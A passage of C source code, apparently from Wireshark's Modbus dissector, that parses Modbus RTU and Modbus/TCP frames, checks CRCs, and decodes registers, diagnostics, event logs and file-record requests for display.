tvbuff_t *next_tvb;
const char *func_string = "";
const char *pkt_type_str = "";
const char *err_str = "";
guint16 len, crc16, calc_crc16;
guint8 unit_id, function_code, exception_code, subfunction_code;
void *p_save_proto_data;
modbus_request_info_t *request_info;
/* Make entries in Protocol column on summary display */
col_set_str(pinfo->cinfo, COL_PROTOCOL, "Modbus RTU");
col_clear(pinfo->cinfo, COL_INFO);
len = tvb_length(tvb);
unit_id = tvb_get_guint8(tvb, 0);
function_code = tvb_get_guint8(tvb, 1) & 0x7F;
crc16 = tvb_get_ntohs(tvb, len-2);
/* Make entries in Info column on summary display */
offset = 0;
/* Find exception - last bit set in function code */
if (tvb_get_guint8(tvb, 1) & 0x80) {
exception_code = tvb_get_guint8(tvb, offset + 2);
}
else {
exception_code = 0;
}
if ((function_code == ENCAP_INTERFACE_TRANSP) && (exception_code == 0)) {
func_string = val_to_str_const(tvb_get_guint8(tvb, offset + 2), encap_interface_code_vals, "Encapsulated Interface Transport");
subfunction_code = 1;
}
else if ((function_code == DIAGNOSTICS) && (exception_code == 0)) {
func_string = val_to_str_const(tvb_get_ntohs(tvb, offset + 2), diagnostic_code_vals, "Diagnostics");
subfunction_code = 1;
}
else {
func_string = val_to_str(function_code, function_code_vals, "Unknown function (%d)");
subfunction_code = 0;
}
/* "Request" or "Response" */
packet_type = classify_mbrtu_packet(pinfo, tvb);
switch ( packet_type ) {
case QUERY_PACKET :
pkt_type_str="Query";
break;
case RESPONSE_PACKET :
pkt_type_str="Response";
break;
case CANNOT_CLASSIFY :
err_str="Unable to classify as query or response.";
pkt_type_str="unknown";
break;
default :
break;
}
if ( exception_code != 0 )
err_str="Exception returned ";
if (subfunction_code == 0) {
if (strlen(err_str) > 0) {
col_add_fstr(pinfo->cinfo, COL_INFO,
"%8s: Unit: %3u, Func: %3u: %s. %s",
pkt_type_str, unit_id,
function_code, func_string, err_str);
}
else {
col_add_fstr(pinfo->cinfo, COL_INFO,
"%8s: Unit: %3u, Func: %3u: %s",
pkt_type_str, unit_id,
function_code, func_string);
}
}
else {
if (strlen(err_str) > 0) {
col_add_fstr(pinfo->cinfo, COL_INFO,
"%8s: Unit: %3u, Func: %3u/%3u: %s. %s",
pkt_type_str, unit_id,
function_code, subfunction_code, func_string, err_str);
}
else {
col_add_fstr(pinfo->cinfo, COL_INFO,
"%8s: Unit: %3u, Func: %3u/%3u: %s",
pkt_type_str, unit_id,
function_code, subfunction_code, func_string);
}
}
mi = proto_tree_add_protocol_format(tree, proto_mbrtu, tvb, offset,
len, "Modbus RTU");
mbrtu_tree = proto_item_add_subtree(mi, ett_mbrtu);
/* Add items to protocol tree specific to Modbus RTU */
proto_tree_add_uint(mbrtu_tree, hf_mbrtu_unitid, tvb, offset, 1, unit_id);
crc_item = proto_tree_add_uint(mbrtu_tree, hf_mbrtu_crc16, tvb, len-2, 2, crc16);
/* CRC validation */
if (mbrtu_crc)
{
calc_crc16 = crc16_plain_tvb_offset_seed(tvb, offset, len-2, 0xFFFF);
if (g_htons(calc_crc16) != crc16)
expert_add_info_format(pinfo, crc_item, &ei_mbrtu_crc16_incorrect, "Incorrect CRC - should be 0x%04x", g_htons(calc_crc16));
}
/* make sure to ignore the CRC-16 footer bytes */
len = len - 2;
/* dissect the Modbus PDU */
next_tvb = tvb_new_subset_length( tvb, offset+1, len-1);
/* keep existing context */
p_save_proto_data = p_get_proto_data(wmem_file_scope(), pinfo, proto_modbus, 0 );
p_remove_proto_data(wmem_file_scope(), pinfo, proto_modbus, 0);
/* Create enough context for Modbus dissector */
request_info = wmem_new(wmem_packet_scope(), modbus_request_info_t);
request_info->packet_type = (guint8)packet_type;
request_info->register_addr_type = (guint8)global_mbus_rtu_register_addr_type;
request_info->register_format = (guint8)global_mbus_rtu_register_format;
p_add_proto_data(wmem_file_scope(), pinfo, proto_modbus, 0, request_info);
/* Continue with dissection of Modbus data payload following Modbus RTU frame */
if( tvb_length_remaining(tvb, offset) > 0 )
call_dissector(modbus_handle, next_tvb, pinfo, tree);
p_remove_proto_data(wmem_file_scope(), pinfo, proto_modbus, 0);
p_add_proto_data(wmem_file_scope(), pinfo, proto_modbus, 0, p_save_proto_data);
return tvb_length(tvb);
}
/* Return length of Modbus/TCP message */
static guint
get_mbtcp_pdu_len(packet_info *pinfo _U_, tvbuff_t *tvb, int offset)
{
guint16 plen;
/*
* Get the length of the data from the encapsulation header.
*/
plen = tvb_get_ntohs(tvb, offset + 4);
/*
* That length doesn't include the encapsulation header itself;
* add that in.
*/
return plen + 6;
}
/* Return length of Modbus RTU over TCP message */
static guint
get_mbrtu_pdu_len(packet_info *pinfo _U_, tvbuff_t *tvb, int offset _U_)
{
/* Modbus/TCP frames include a "length" word in each message; Modbus RTU over TCP does not, so don't attempt to get one */
return tvb_length(tvb);
}
/* Code to dissect Modbus/TCP messages */
static int
dissect_mbtcp(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data)
{
/* Make sure there's at least enough data to determine it's a Modbus TCP packet */
if (!tvb_bytes_exist(tvb, 0, 8))
return 0;
/* check that it actually looks like Modbus/TCP */
/* protocol id == 0 */
if(tvb_get_ntohs(tvb, 2) != 0 ){
return 0;
}
/* length is at least 2 (unit_id + function_code) */
if(tvb_get_ntohs(tvb, 4) < 2 ){
return 0;
}
/* build up protocol tree and iterate over multiple packets */
tcp_dissect_pdus(tvb, pinfo, tree, mbtcp_desegment, 6,
get_mbtcp_pdu_len, dissect_mbtcp_pdu, data);
return tvb_length(tvb);
}
/* Code to dissect Modbus RTU over TCP messages */
static int
dissect_mbrtu(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data)
{
/* Make sure there's at least enough data to determine it's a Modbus packet */
if (!tvb_bytes_exist(tvb, 0, 6))
return 0;
/* For Modbus RTU mode, confirm that the first byte is a valid address (non-zero), */
/* so we can eliminate false-posititves on Modbus TCP messages loaded as RTU */
if(tvb_get_guint8(tvb, 0) == 0 )
return 0;
/* build up protocol tree and iterate over multiple packets */
tcp_dissect_pdus(tvb, pinfo, tree, mbrtu_desegment, 6,
get_mbrtu_pdu_len, dissect_mbrtu_pdu, data);
return tvb_length(tvb);
}
/* Code to allow further dissection of Modbus data payload */
/* Common to both Modbus/TCP and Modbus RTU dissectors */
static void
dissect_modbus_data(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, guint8 function_code,
gint payload_start, gint payload_len, guint8 register_format)
{
gint reported_len, data_offset, reg_num = 0;
guint16 data16, modflt_lo, modflt_hi;
guint32 data32, modflt_comb;
gfloat data_float, modfloat;
proto_item *register_item = NULL;
tvbuff_t *next_tvb;
reported_len = tvb_reported_length_remaining(tvb, payload_start);
data_offset = 0;
if ( payload_start < 0 || ( payload_len + payload_start ) == 0 )
return;
/* If calculated length from remaining tvb data != bytes in packet, do not attempt to decode */
if ( payload_len != reported_len ) {
proto_tree_add_item(tree, hf_modbus_data, tvb, payload_start, reported_len, ENC_NA);
return;
}
/* If data type of payload is Holding or Input registers */
/* AND */
/* if payload length is not a multiple of 4, don't attempt to decode anything in 32-bit format */
if ((function_code == READ_HOLDING_REGS) || (function_code == READ_INPUT_REGS) || (function_code == WRITE_MULT_REGS)) {
if ((payload_len % 4 != 0) && ( (register_format == MBTCP_PREF_REGISTER_FORMAT_UINT32) ||
(register_format == MBTCP_PREF_REGISTER_FORMAT_IEEE_FLOAT) ||
(register_format == MBTCP_PREF_REGISTER_FORMAT_MODICON_FLOAT) ) ) {
register_item = proto_tree_add_item(tree, hf_modbus_data, tvb, payload_start, payload_len, ENC_NA);
expert_add_info(pinfo, register_item, &ei_modbus_data_decode);
return;
}
}
/* Build a new tvb containing just the data payload */
next_tvb = tvb_new_subset(tvb, payload_start, payload_len, reported_len);
switch ( function_code ) {
case READ_HOLDING_REGS:
case READ_INPUT_REGS:
case WRITE_MULT_REGS:
while (data_offset < payload_len) {
/* Use "Preferences" options to determine decoding format of register data, as no format is implied by the protocol itself. */
/* Based on a standard register size of 16-bits, use decoding format preference to step through each register and display */
/* it in an appropriate fashion. */
switch (register_format) {
case MBTCP_PREF_REGISTER_FORMAT_UINT16: /* Standard-size unsigned integer 16-bit register */
data16 = tvb_get_ntohs(next_tvb, data_offset);
register_item = proto_tree_add_uint(tree, hf_modbus_reg_uint16, next_tvb, data_offset, 2, data16);
proto_item_set_text(register_item, "Register %u (UINT16): %u", reg_num, data16);
data_offset += 2;
reg_num += 1;
break;
case MBTCP_PREF_REGISTER_FORMAT_UINT32: /* Double-size unsigned integer 2 x 16-bit registers */
data32 = tvb_get_ntohl(next_tvb, data_offset);
register_item = proto_tree_add_uint(tree, hf_modbus_reg_uint32, next_tvb, data_offset, 4, data32);
proto_item_set_text(register_item, "Register %u (UINT32): %u", reg_num, data32);
data_offset += 4;
reg_num += 2;
break;
case MBTCP_PREF_REGISTER_FORMAT_IEEE_FLOAT: /* IEEE Floating Point, 2 x 16-bit registers */
data_float = tvb_get_ntohieee_float(next_tvb, data_offset);
register_item = proto_tree_add_float(tree, hf_modbus_reg_ieee_float, next_tvb, data_offset, 4, data_float);
proto_item_set_text(register_item, "Register %u (IEEE Float): %f", reg_num, data_float);
data_offset += 4;
reg_num += 2;
break;
case MBTCP_PREF_REGISTER_FORMAT_MODICON_FLOAT: /* Modicon Floating Point (word-swap), 2 x 16-bit registers */
/* Modicon-style Floating Point values are stored in reverse-word order. */
/* ie: a standard IEEE float value 59.991459 is equal to 0x426ff741 */
/* while the Modicon equivalent to this value is 0xf741426f */
/* To re-assemble a proper IEEE float, we must retrieve the 2 x 16-bit words, bit-shift the */
/* "hi" component by 16-bits and then OR them together into a combined 32-bit int. */
/* Following that operation, use some memcpy magic to copy the 4 raw data bytes from the */
/* 32-bit integer into a standard float. Not sure if there is a cleaner way possible using */
/* the Wireshark libaries, but this seems to work OK. */
modflt_lo = tvb_get_ntohs(next_tvb, data_offset);
modflt_hi = tvb_get_ntohs(next_tvb, data_offset+2);
modflt_comb = (guint32)(modflt_hi<<16) | modflt_lo;
memcpy(&modfloat, &modflt_comb, 4);
register_item = proto_tree_add_float(tree, hf_modbus_reg_modicon_float, next_tvb, data_offset, 4, modfloat);
proto_item_set_text(register_item, "Register %u (Modicon Float): %f", reg_num, modfloat);
data_offset += 4;
reg_num += 2;
break;
default:
/* Avoid any chance of an infinite loop */
data_offset = payload_len;
break;
} /* register format switch */
} /* while loop */
break;
default:
if ( ! dissector_try_string(modbus_data_dissector_table, "data", next_tvb, pinfo, tree, NULL) )
proto_tree_add_item(tree, hf_modbus_data, tvb, payload_start, payload_len, ENC_NA);
break;
}
}
/* Code to actually dissect the packets */
static int
dissect_modbus(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_)
{
proto_tree *modbus_tree, *group_tree, *event_tree,
*event_item_tree, *device_objects_tree,
*device_objects_item_tree;
proto_item *mi, *mei;
int offset = 0, group_offset;
gint payload_start, payload_len, event_index,
ii, byte_cnt, len, num_objects, object_index,
object_len;
guint32 group_byte_cnt, group_word_cnt;
guint8 function_code, exception_code, mei_code, event_code, object_type;
guint8 packet_type, register_format; /*register_addr_type*/
guint16 diagnostic_code;
modbus_request_info_t *request_info;
len = tvb_length_remaining(tvb, 0);
/* If the packet is zero-length, we should not attempt to dissect any further */
if (len == 0)
return 0;
function_code = tvb_get_guint8(tvb, offset) & 0x7F;
/* Find exception - last bit set in function code */
if (tvb_get_guint8(tvb, offset) & 0x80 ) {
exception_code = tvb_get_guint8(tvb, offset+1);
}
else {
exception_code = 0;
}
/* See if we have any context */
request_info = (modbus_request_info_t *)p_get_proto_data(wmem_file_scope(), pinfo, proto_modbus, 0 );
if (request_info != NULL)
{
packet_type = request_info->packet_type;
register_format = request_info->register_format;
/*register_addr_type = request_info->register_addr_type;*/
}
else
{
/* Default to a response packet to at least attempt to decode a good chunk of data */
packet_type = RESPONSE_PACKET;
register_format = MBTCP_PREF_REGISTER_FORMAT_UINT16;
/* register_addr_type = MBTCP_PREF_REGISTER_ADDR_RAW;*/
}
/* Add items to protocol tree specific to Modbus generic */
modbus_tree = proto_tree_add_subtree(tree, tvb, offset, len, ett_modbus_hdr, NULL, "Modbus");
mi = proto_tree_add_uint(modbus_tree, hf_mbtcp_functioncode, tvb, offset, 1,
function_code);
payload_start = offset + 1;
payload_len = len - 1;
if (exception_code != 0) {
proto_item_set_text(mi, "Function %u: %s. Exception: %s",
function_code,
val_to_str_const(function_code, function_code_vals, "Unknown Function"),
val_to_str(exception_code,
exception_code_vals,
"Unknown Exception Code (%u)"));
proto_tree_add_uint(modbus_tree, hf_modbus_exceptioncode, tvb, payload_start, 1,
exception_code);
}
else {
switch (function_code) {
case READ_COILS:
case READ_DISCRETE_INPUTS:
if (packet_type == QUERY_PACKET) {
proto_tree_add_item(modbus_tree, hf_modbus_reference, tvb, payload_start, 2, ENC_BIG_ENDIAN);
proto_tree_add_item(modbus_tree, hf_modbus_bitcnt, tvb, payload_start + 2, 2, ENC_BIG_ENDIAN);
}
else if (packet_type == RESPONSE_PACKET) {
byte_cnt = (guint32)tvb_get_guint8(tvb, payload_start);
proto_tree_add_uint(modbus_tree, hf_modbus_bytecnt, tvb, payload_start, 1, byte_cnt);
dissect_modbus_data(tvb, pinfo, modbus_tree, function_code, payload_start + 1, byte_cnt, register_format);
}
break;
case READ_HOLDING_REGS:
case READ_INPUT_REGS:
if (packet_type == QUERY_PACKET) {
proto_tree_add_item(modbus_tree, hf_modbus_reference, tvb, payload_start, 2, ENC_BIG_ENDIAN);
proto_tree_add_item(modbus_tree, hf_modbus_wordcnt, tvb, payload_start + 2, 2, ENC_BIG_ENDIAN);
}
else if (packet_type == RESPONSE_PACKET) {
byte_cnt = (guint32)tvb_get_guint8(tvb, payload_start);
proto_tree_add_uint(modbus_tree, hf_modbus_bytecnt, tvb, payload_start, 1, byte_cnt);
dissect_modbus_data(tvb, pinfo, modbus_tree, function_code, payload_start + 1, byte_cnt, register_format);
}
break;
case WRITE_SINGLE_COIL:
if (packet_type == QUERY_PACKET) {
proto_tree_add_item(modbus_tree, hf_modbus_reference, tvb, payload_start, 2, ENC_BIG_ENDIAN);
dissect_modbus_data(tvb, pinfo, modbus_tree, function_code, payload_start + 2, 1, register_format);
proto_tree_add_item(modbus_tree, hf_modbus_padding, tvb, payload_start + 3, 1, ENC_NA);
}
else if (packet_type == RESPONSE_PACKET) {
proto_tree_add_item(modbus_tree, hf_modbus_reference, tvb, payload_start, 2, ENC_BIG_ENDIAN);
dissect_modbus_data(tvb, pinfo, modbus_tree, function_code, payload_start + 2, 1, register_format);
proto_tree_add_item(modbus_tree, hf_modbus_padding, tvb, payload_start + 3, 1, ENC_NA);
}
break;
case WRITE_SINGLE_REG:
if (packet_type == QUERY_PACKET) {
proto_tree_add_item(modbus_tree, hf_modbus_reference, tvb, payload_start, 2, ENC_BIG_ENDIAN);
dissect_modbus_data(tvb, pinfo, modbus_tree, function_code, payload_start + 2, 2, register_format);
}
else if (packet_type == RESPONSE_PACKET) {
proto_tree_add_item(modbus_tree, hf_modbus_reference, tvb, payload_start, 2, ENC_BIG_ENDIAN);
dissect_modbus_data(tvb, pinfo, modbus_tree, function_code, payload_start + 2, 2, register_format);
}
break;
case READ_EXCEPT_STAT:
if (packet_type == RESPONSE_PACKET)
dissect_modbus_data(tvb, pinfo, modbus_tree, function_code, payload_start, 1, register_format);
break;
case DIAGNOSTICS:
if ((packet_type == QUERY_PACKET) || (packet_type == RESPONSE_PACKET)) {
diagnostic_code = tvb_get_ntohs(tvb, payload_start);
proto_tree_add_uint(modbus_tree, hf_modbus_diag_sf, tvb, payload_start, 2, diagnostic_code);
switch(diagnostic_code)
{
case RETURN_QUERY_DATA:
if (packet_type == QUERY_PACKET) {
if (payload_len > 2)
proto_tree_add_item(modbus_tree, hf_modbus_diag_return_query_data_request, tvb, payload_start+2, payload_len-2, ENC_NA);
}
else if (packet_type == RESPONSE_PACKET) {
if (payload_len > 2)
proto_tree_add_item(modbus_tree, hf_modbus_diag_return_query_data_echo, tvb, payload_start+2, payload_len-2, ENC_NA);
}
break;
case RESTART_COMMUNICATION_OPTION:
proto_tree_add_item(modbus_tree, hf_modbus_diag_restart_communication_option, tvb, payload_start+2, 2, ENC_BIG_ENDIAN);
break;
case RETURN_DIAGNOSTIC_REGISTER:
if (packet_type == QUERY_PACKET) {
if (payload_len > 2)
dissect_modbus_data(tvb, pinfo, modbus_tree, function_code, payload_start+2, payload_len-2, register_format);
}
else if (packet_type == RESPONSE_PACKET) {
proto_tree_add_item(modbus_tree, hf_modbus_diag_return_diag_register, tvb, payload_start+2, 2, ENC_BIG_ENDIAN);
}
break;
case CHANGE_ASCII_INPUT_DELIMITER:
proto_tree_add_item(modbus_tree, hf_modbus_diag_ascii_input_delimiter, tvb, payload_start+2, 1, ENC_BIG_ENDIAN);
break;
case RETURN_BUS_MESSAGE_COUNT:
if (packet_type == QUERY_PACKET) {
if (payload_len > 2)
dissect_modbus_data(tvb, pinfo, modbus_tree, function_code, payload_start+2, payload_len-2, register_format);
}
else if (packet_type == RESPONSE_PACKET) {
proto_tree_add_item(modbus_tree, hf_modbus_diag_return_bus_message_count, tvb, payload_start+2, 2, ENC_BIG_ENDIAN);
}
break;
case RETURN_BUS_COMM_ERROR_COUNT:
if (packet_type == QUERY_PACKET) {
if (payload_len > 2)
dissect_modbus_data(tvb, pinfo, modbus_tree, function_code, payload_start+2, payload_len-2, register_format);
}
else if (packet_type == RESPONSE_PACKET) {
proto_tree_add_item(modbus_tree, hf_modbus_diag_return_bus_comm_error_count, tvb, payload_start+2, 2, ENC_BIG_ENDIAN);
}
break;
case RETURN_BUS_EXCEPTION_ERROR_COUNT:
if (packet_type == QUERY_PACKET) {
if (payload_len > 2)
dissect_modbus_data(tvb, pinfo, modbus_tree, function_code, payload_start+2, payload_len-2, register_format);
}
else if (packet_type == RESPONSE_PACKET) {
proto_tree_add_item(modbus_tree, hf_modbus_diag_return_bus_exception_error_count, tvb, payload_start+2, 2, ENC_BIG_ENDIAN);
}
break;
case RETURN_SLAVE_MESSAGE_COUNT:
if (packet_type == QUERY_PACKET) {
if (payload_len > 2)
dissect_modbus_data(tvb, pinfo, modbus_tree, function_code, payload_start+2, payload_len-2, register_format);
}
else if (packet_type == RESPONSE_PACKET) {
proto_tree_add_item(modbus_tree, hf_modbus_diag_return_slave_message_count, tvb, payload_start+2, 2, ENC_BIG_ENDIAN);
}
break;
case RETURN_SLAVE_NO_RESPONSE_COUNT:
if (packet_type == QUERY_PACKET) {
if (payload_len > 2)
dissect_modbus_data(tvb, pinfo, modbus_tree, function_code, payload_start+2, payload_len-2, register_format);
}
else if (packet_type == RESPONSE_PACKET) {
proto_tree_add_item(modbus_tree, hf_modbus_diag_return_no_slave_response_count, tvb, payload_start+2, 2, ENC_BIG_ENDIAN);
}
break;
case RETURN_SLAVE_NAK_COUNT:
if (packet_type == QUERY_PACKET) {
if (payload_len > 2)
dissect_modbus_data(tvb, pinfo, modbus_tree, function_code, payload_start+2, payload_len-2, register_format);
}
else if (packet_type == RESPONSE_PACKET) {
proto_tree_add_item(modbus_tree, hf_modbus_diag_return_slave_nak_count, tvb, payload_start+2, 2, ENC_BIG_ENDIAN);
}
break;
case RETURN_SLAVE_BUSY_COUNT:
if (packet_type == QUERY_PACKET) {
if (payload_len > 2)
dissect_modbus_data(tvb, pinfo, modbus_tree, function_code, payload_start+2, payload_len-2, register_format);
}
else if (packet_type == RESPONSE_PACKET) {
proto_tree_add_item(modbus_tree, hf_modbus_diag_return_slave_busy_count, tvb, payload_start+2, 2, ENC_BIG_ENDIAN);
}
break;
case RETURN_BUS_CHAR_OVERRUN_COUNT:
if (packet_type == QUERY_PACKET) {
if (payload_len > 2)
dissect_modbus_data(tvb, pinfo, modbus_tree, function_code, payload_start+2, payload_len-2, register_format);
}
else if (packet_type == RESPONSE_PACKET) {
proto_tree_add_item(modbus_tree, hf_modbus_diag_return_bus_char_overrun_count, tvb, payload_start+2, 2, ENC_BIG_ENDIAN);
}
break;
case CLEAR_OVERRUN_COUNTER_AND_FLAG:
case FORCE_LISTEN_ONLY_MODE:
case CLEAR_COUNTERS_AND_DIAG_REG:
default:
if (payload_len > 2)
dissect_modbus_data(tvb, pinfo, modbus_tree, function_code, payload_start+2, payload_len-2, register_format);
break;
}
}
break;
case GET_COMM_EVENT_CTRS:
if (packet_type == RESPONSE_PACKET) {
proto_tree_add_item(modbus_tree, hf_modbus_status, tvb, payload_start, 2, ENC_BIG_ENDIAN);
proto_tree_add_item(modbus_tree, hf_modbus_event_count, tvb, payload_start+2, 2, ENC_BIG_ENDIAN);
}
break;
case GET_COMM_EVENT_LOG:
if (packet_type == RESPONSE_PACKET) {
byte_cnt = (guint32)tvb_get_guint8(tvb, payload_start);
proto_tree_add_uint(modbus_tree, hf_modbus_bytecnt, tvb, payload_start, 1, byte_cnt);
proto_tree_add_item(modbus_tree, hf_modbus_status, tvb, payload_start+1, 2, ENC_BIG_ENDIAN);
proto_tree_add_item(modbus_tree, hf_modbus_event_count, tvb, payload_start+3, 2, ENC_BIG_ENDIAN);
proto_tree_add_item(modbus_tree, hf_modbus_message_count, tvb, payload_start+5, 2, ENC_BIG_ENDIAN);
if (byte_cnt-6 > 0) {
byte_cnt -= 6;
event_index = 0;
event_tree = proto_tree_add_subtree(modbus_tree, tvb, payload_start+7, byte_cnt, ett_events, NULL, "Events");
while (byte_cnt > 0) {
event_code = tvb_get_guint8(tvb, payload_start+7+event_index);
if (event_code == 0) {
proto_tree_add_uint_format(event_tree, hf_modbus_event, tvb, payload_start+7+event_index, 1, event_code, "Initiated Communication Restart");
}
else if (event_code == 4) {
proto_tree_add_uint_format(event_tree, hf_modbus_event, tvb, payload_start+7+event_index, 1, event_code, "Entered Listen Only Mode");
}
else if (event_code & REMOTE_DEVICE_RECV_EVENT_MASK) {
mei = proto_tree_add_uint_format(event_tree, hf_modbus_event, tvb, payload_start+7+event_index, 1,
event_code, "Receive Event: 0x%02X", event_code);
event_item_tree = proto_item_add_subtree(mei, ett_events_recv);
/* add subtrees to describe each event bit */
proto_tree_add_item(event_item_tree, hf_modbus_event_recv_comm_err,
tvb, payload_start+7+event_index, 1, ENC_LITTLE_ENDIAN );
proto_tree_add_item(event_item_tree, hf_modbus_event_recv_char_over,
tvb, payload_start+7+event_index, 1, ENC_LITTLE_ENDIAN );
proto_tree_add_item(event_item_tree, hf_modbus_event_recv_lo_mode,
tvb, payload_start+7+event_index, 1, ENC_LITTLE_ENDIAN );
proto_tree_add_item(event_item_tree, hf_modbus_event_recv_broadcast,
tvb, payload_start+7+event_index, 1, ENC_LITTLE_ENDIAN );
}
else if ((event_code & REMOTE_DEVICE_SEND_EVENT_MASK) == REMOTE_DEVICE_SEND_EVENT_VALUE) {
mei = proto_tree_add_uint_format(event_tree, hf_modbus_event, tvb, payload_start+7+event_index, 1,
event_code, "Send Event: 0x%02X", event_code);
event_item_tree = proto_item_add_subtree(mei, ett_events_send);
/* add subtrees to describe each event bit */
proto_tree_add_item(event_item_tree, hf_modbus_event_send_read_ex,
tvb, payload_start+7+event_index, 1, ENC_LITTLE_ENDIAN );
proto_tree_add_item(event_item_tree, hf_modbus_event_send_slave_abort_ex,
tvb, payload_start+7+event_index, 1, ENC_LITTLE_ENDIAN );
proto_tree_add_item(event_item_tree, hf_modbus_event_send_slave_busy_ex,
tvb, payload_start+7+event_index, 1, ENC_LITTLE_ENDIAN );
proto_tree_add_item(event_item_tree, hf_modbus_event_send_slave_nak_ex,
tvb, payload_start+7+event_index, 1, ENC_LITTLE_ENDIAN );
proto_tree_add_item(event_item_tree, hf_modbus_event_send_write_timeout,
tvb, payload_start+7+event_index, 1, ENC_LITTLE_ENDIAN );
proto_tree_add_item(event_item_tree, hf_modbus_event_send_lo_mode,
tvb, payload_start+7+event_index, 1, ENC_LITTLE_ENDIAN );
}
else {
proto_tree_add_uint_format(event_tree, hf_modbus_event, tvb, payload_start+7+event_index, 1, event_code, "Unknown Event");
}
byte_cnt--;
event_index++;
}
}
}
break;
case WRITE_MULT_COILS:
if (packet_type == QUERY_PACKET) {
proto_tree_add_item(modbus_tree, hf_modbus_reference, tvb, payload_start, 2, ENC_BIG_ENDIAN);
proto_tree_add_item(modbus_tree, hf_modbus_bitcnt, tvb, payload_start + 2, 2, ENC_BIG_ENDIAN);
byte_cnt = (guint32)tvb_get_guint8(tvb, payload_start + 4);
proto_tree_add_uint(modbus_tree, hf_modbus_bytecnt, tvb, payload_start + 4, 1,
byte_cnt);
dissect_modbus_data(tvb, pinfo, modbus_tree, function_code, payload_start + 5, byte_cnt, register_format);
}
else if (packet_type == RESPONSE_PACKET) {
proto_tree_add_item(modbus_tree, hf_modbus_reference, tvb, payload_start, 2, ENC_BIG_ENDIAN);
proto_tree_add_item(modbus_tree, hf_modbus_bitcnt, tvb, payload_start + 2, 2, ENC_BIG_ENDIAN);
}
break;
case WRITE_MULT_REGS:
if (packet_type == QUERY_PACKET) {
proto_tree_add_item(modbus_tree, hf_modbus_reference, tvb, payload_start, 2, ENC_BIG_ENDIAN);
proto_tree_add_item(modbus_tree, hf_modbus_wordcnt, tvb, payload_start + 2, 2, ENC_BIG_ENDIAN);
byte_cnt = (guint32)tvb_get_guint8(tvb, payload_start + 4);
proto_tree_add_uint(modbus_tree, hf_modbus_bytecnt, tvb, payload_start + 4, 1,
byte_cnt);
dissect_modbus_data(tvb, pinfo, modbus_tree, function_code, payload_start + 5, byte_cnt, register_format);
}
else if (packet_type == RESPONSE_PACKET) {
proto_tree_add_item(modbus_tree, hf_modbus_reference, tvb, payload_start, 2, ENC_BIG_ENDIAN);
proto_tree_add_item(modbus_tree, hf_modbus_wordcnt, tvb, payload_start + 2, 2, ENC_BIG_ENDIAN);
}
break;
case READ_FILE_RECORD:
if (packet_type == QUERY_PACKET) {
byte_cnt = (guint32)tvb_get_guint8(tvb, payload_start);
proto_tree_add_uint(modbus_tree, hf_modbus_bytecnt, tvb, payload_start, 1,
byte_cnt);
/* add subtrees to describe each group of packet */
group_offset = payload_start + 1;
for (ii = 0; ii < byte_cnt / 7; ii++) {
group_tree = proto_tree_add_subtree_format( modbus_tree, tvb, group_offset, 7,
ett_group_hdr, NULL, "Group %u", ii);
proto_tree_add_item(group_tree, hf_modbus_reftype, tvb, group_offset, 1, ENC_BIG_ENDIAN);
proto_tree_add_item(group_tree, hf_modbus_lreference, tvb, group_offset + 1, 4, ENC_BIG_ENDIAN);
proto_tree_add_item(group_tree, hf_modbus_wordcnt, tvb, group_offset + 5, 2, ENC_BIG_ENDIAN);
group_offset += 7;
}
}
else if (packet_type == RESPONSE_PACKET) {
byte_cnt = (guint32)tvb_get_guint8(tvb, payload_start);
proto_tree_add_uint(modbus_tree, hf_modbus_bytecnt, tvb, payload_start, 1,
byte_cnt);
/* add subtrees to describe each group of packet */
group_offset = payload_start + 1;
ii = 0;
while (byte_cnt > 0) {
group_byte_cnt = (guint32)tvb_get_guint8(tvb, group_offset);
group_tree = proto_tree_add_subtree_format( modbus_tree, tvb, group_offset, group_byte_cnt + 1,
ett_group_hdr, NULL, "Group %u", ii);
proto_tree_add_uint(group_tree, hf_modbus_bytecnt, tvb, group_offset, 1,
group_byte_cnt);
proto_tree_add_item(group_tree, hf_modbus_reftype, tvb, group_offset + 1, 1, ENC_BIG_ENDIAN);
dissect_modbus_data(tvb, pinfo, group_tree, function_code, group_offset + 2, group_byte_cnt - 1, register_format);
group_offset += (group_byte_cnt + 1);
byte_cnt -= (group_byte_cnt + 1);
ii++;
}
}
break;
case WRITE_FILE_RECORD:
if ((packet_type == QUERY_PACKET) || (packet_type == RESPONSE_PACKET)) {
byte_cnt = (guint32)tvb_get_guint8(tvb, payload_start);
proto_tree_add_uint(modbus_tree, hf_modbus_bytecnt, tvb, payload_start, 1,
byte_cnt);
/* add subtrees to describe each group of packet */
group_offset = payload_start + 1;
ii = 0;
while (byte_cnt > 0) {
group_word_cnt = tvb_get_ntohs(tvb, group_offset + 5);
group_byte_cnt = (2 * group_word_cnt) + 7;
group_tree = proto_tree_add_subtree_format( modbus_tree, tvb, group_offset,
group_byte_cnt, ett_group_hdr, NULL, "Group %u", ii);
proto_tree_add_item(group_tree, hf_modbus_reftype, tvb, group_offset, 1, ENC_BIG_ENDIAN);
proto_tree_add_item(group_tree, hf_modbus_lreference, tvb, group_offset + 1, 4, ENC_BIG_ENDIAN);
proto_tree_add_uint(group_tree, hf_modbus_wordcnt, tvb, group_offset + 5, 2,
group_word_cnt);
dissect_modbus_data(tvb, pinfo, group_tree, function_code, group_offset + 7, group_byte_cnt - 7, register_format);
group_offset += group_byte_cnt;
byte_cnt -= group_byte_cnt;
ii++;
}
}
break;
case MASK_WRITE_REG:
if ((packet_type == QUERY_PACKET) || (packet_type == RESPONSE_PACKET)) {
proto_tree_add_item(modbus_tree, hf_modbus_reference, tvb, payload_start, 2, ENC_BIG_ENDIAN);
proto_tree_add_item(modbus_tree, hf_modbus_andmask, tvb, payload_start + 2, 2, ENC_BIG_ENDIAN);
proto_tree_add_item(modbus_tree, hf_modbus_ormask, tvb, payload_start + 4, 2, ENC_BIG_ENDIAN);
}
break;
case READ_WRITE_REG:
if (packet_type == QUERY_PACKET) {
proto_tree_add_item(modbus_tree, hf_modbus_readref, tvb, payload_start, 2, ENC_BIG_ENDIAN);
proto_tree_add_item(modbus_tree, hf_modbus_readwordcnt, tvb, payload_start + 2, 2, ENC_BIG_ENDIAN);
proto_tree_add_item(modbus_tree, hf_modbus_writeref, tvb, payload_start + 4, 2, ENC_BIG_ENDIAN);
proto_tree_add_item(modbus_tree, hf_modbus_writewordcnt, tvb, payload_start + 6, 2, ENC_BIG_ENDIAN);
